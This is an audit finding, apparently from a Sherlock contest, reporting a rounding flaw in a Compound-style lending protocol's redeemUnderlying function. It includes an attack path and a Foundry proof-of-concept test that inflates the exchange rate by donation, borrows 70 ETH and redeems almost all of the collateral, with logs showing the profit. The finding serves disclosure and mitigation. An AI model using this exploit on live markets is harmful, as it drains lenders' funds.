Skip to content

Latest commit

 

History

History
140 lines (100 loc) · 5.16 KB

File metadata and controls

140 lines (100 loc) · 5.16 KB

Formal Viridian Nuthatch

High

[High] Rounding Error in redeemUnderlying Function Enables Collateral Inflation and Fund Drain

Summary

A rounding error in the redeemUnderlying function will cause a complete loss of funds for lenders and the protocol as an attacker will inflate the exchange rate and exploit the undervaluation of burned shares to drain liquidity.

The missing precise rounding mechanism in redeemUnderlying causes shares to burn inaccurately, enabling an attacker to withdraw collateral exceeding their loan.

This is a very common exploit among these kind of protocols: https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33 Every dev and auditor needs to be aware of this issue to mitigate a significant risk.

Root Cause

In redeemUnderlying, the calculation for the number of shares to burn lacks precise rounding, leading to inaccurate burn values and enabling inflationary exploits.

https://github.com/sherlock-audit/2024-12-mach-finance/blob/main/contracts/src/CToken.sol#L501

Internal Pre-conditions

  1. An attacker needs to mint market shares using a small amount of collateral.
  2. The attacker needs to redeem all but a minimal amount of minted shares.
  3. The attacker donates a significant amount of tokens directly to the market contract to inflate the exchange rate.
  4. The protocol must allow rounding errors during the burn calculation in redeemUnderlying.

External Pre-conditions

  1. The market must have zero or minimal liquidity to amplify the effects of the rounding error.

Attack Path

  1. The attacker mints shares using a small amount of collateral.
  2. The attacker redeems all but a minimal amount of the minted shares.
  3. The attacker donates a significant amount of tokens to the market, inflating the exchange rate.
  4. The attacker borrows funds from another market using the inflated exchange rate.
  5. The attacker redeems their collateral with minimal shares burned due to rounding errors.
  6. The protocol interprets the remaining shares as sufficient to cover the outstanding loan, allowing the attacker to escape with the borrowed funds.

Impact

The protocol and lenders suffer a total loss of liquidity in the affected market. The attacker gains substantial value, leaving the protocol insolvent with no collateral to cover outstanding loans.

PoC

contract CTokenTest is BaseTest {

    SimplePriceOracle public priceOracle;

    function setUp() public {
        _deployBaselineContracts();

        vm.startPrank(admin);
        priceOracle = new SimplePriceOracle();

        uint256 btcPrice = 100_000 * 10 ** (36 - wbtc.decimals());
        priceOracle.setUnderlyingPrice(CToken(address(cWbtcDelegator)), btcPrice);

        uint256 sonicPrice = 1 * 10 ** (36 - 18);
        priceOracle.setUnderlyingPrice(CToken(address(cSonic)), sonicPrice);

        comptroller._setPriceOracle(priceOracle);

        comptroller._setCollateralFactor(CToken(address(cWbtcDelegator)), 0.75e18);
        comptroller._setCollateralFactor(CToken(address(cSonic)), 0.5e18);
        vm.stopPrank();
    }


    function test_Exploit() public {
        // fund cSonic market to replicate eth market
        vm.deal(address(admin), 100.1 ether);
        vm.startPrank(admin);
        cSonic.mint{value: 100 ether}();

        // create user and fund user
        address attacker = makeAddr("leet");
        deal(address(wbtc), attacker, 50000000002);

        console.log("---x---");
        console.log("User Balances");
        console.log("wBTC: %d, ETH: %d", wbtc.balanceOf(attacker)/1e8, attacker.balance/1e18);
        console.log("---x---");

        address[] memory marketsToEnter = new address[](2);
        marketsToEnter[0] = address(cWbtcDelegator);
        marketsToEnter[1] = address(cSonic);

        vm.startPrank(attacker);
        wbtc.approve(address(cWbtcDelegator), type(uint256).max);
        // supply small amount of wBTC as collateral
        cWbtcDelegator.mint(2);
        comptroller.enterMarkets(marketsToEnter);

        // transfer wBTC to the pool
        wbtc.transfer(address(cWbtcDelegator), 500e8);

        // borrow eth
        cSonic.borrow(70e18);

        // redeem the collateral
        cWbtcDelegator.redeemUnderlying(499.999999e8);

        console.log("---x---");
        console.log("User Balances");
        console.log("wBTC: %d, ETH: %d", wbtc.balanceOf(attacker)/1e8, attacker.balance/1e18);
        console.log("---x---");
    }
}

Output:

Logs:
  ---x---
  User Balances
  wBTC: 500, ETH: 0
  ---x---
  ---x---
  User Balances
  wBTC: 499, ETH: 70
  ---x---

Mitigation

  • Ensure that markets never reach a zero liquidity state by minting a small amount of shares and sending them to the zero address.
  • When listing a new collateral token: First, set its collateral factor to zero. Mint some shares and send them to the zero address. Then, change the collateral factor to the desired value. Introduce precise rounding mechanisms in the redeemUnderlying calculation to ensure correct burning of shares:
sharesToBurn = (redeemAmountIn * precisionFactor) / exchangeRate;  

Enforce stricter checks on market liquidity to mitigate attacks based on low-liquidity scenarios.